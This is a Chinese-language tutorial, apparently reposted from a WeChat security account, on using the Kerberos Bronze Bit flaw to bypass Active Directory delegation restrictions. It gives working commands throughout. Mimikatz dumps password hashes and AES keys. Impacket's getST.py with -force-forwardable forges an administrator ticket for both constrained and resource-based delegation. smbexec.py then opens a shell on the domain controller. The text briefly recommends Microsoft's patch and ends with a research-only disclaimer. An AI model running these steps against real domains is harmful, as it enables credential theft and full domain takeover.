一、Kerberos Bronze Bit概述:
通过此漏洞可以绕过以下两个限制进行利用:
①配置约束委派时,勾选的是"仅使用Kerberos(K)"
②伪造高权限用户票据时,此高权限用户的属性配置了"敏感用户不能被委派",或者高权限用户在"受保护的组"内
要避免委派限制的绕过,最好的方法就是打上微软的官方补丁:
限制的配置如下:
高权限用户administrator被设置为"敏感用户不能被委派",或者拉进"Protected Users"组,二者配置一个就行:
勾选的是"仅使用Kerberos(K)":
二、绕过约束性委派限制:
配置了限制条件之后,就不能通过常规约束委派利用请求,s4u2proxy请求会失败,因为票据是不可转发的,错误如下:
1、需要拿到约束委派服务账号的hash和aeskey,利用mimikatz抓取:
# 获取hash
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit" >hash.txt
# 获取ekeys
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit" > ekeys.txt
需要lm和ntlm hash:
2、请求票据:
不加漏洞新添加的参数,无法请求票据:
加上参数再次请求票据,成功绕过限制:
python3 getST.py -spn cifs/域控机器名.域名全称 -impersonate administrator -hashes <LM:NTLM hash> -aesKey <AES hash> 域名全称/约束委派服务账号用户名 -force-forwardable
导入票据,获取shell:
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k PANDA.hack.com
三、绕过基于资源约束性委派限制:
配置了限制条件之后,就不能通过常规的利用方式进行请求高权限用户administrator的票据了,错误如下:
使用新版本impacket中的getST.py,加上针对此漏洞新添加的参数,就可以绕过限制获取高权限用户administrator的票据:
python3 getST.py -dc-ip 域控ip 域名全称/新添加的机器账户名$:密码 -spn cifs/win-2008.hack.com -impersonate administrator -force-forwardable
导入票据,获取shell:
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k WIN-2008.hack.com
原文始发于微信公众号(哈拉少安全小队):【详解委派攻击】绕过委派限制Kerberos Bronze Bit
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论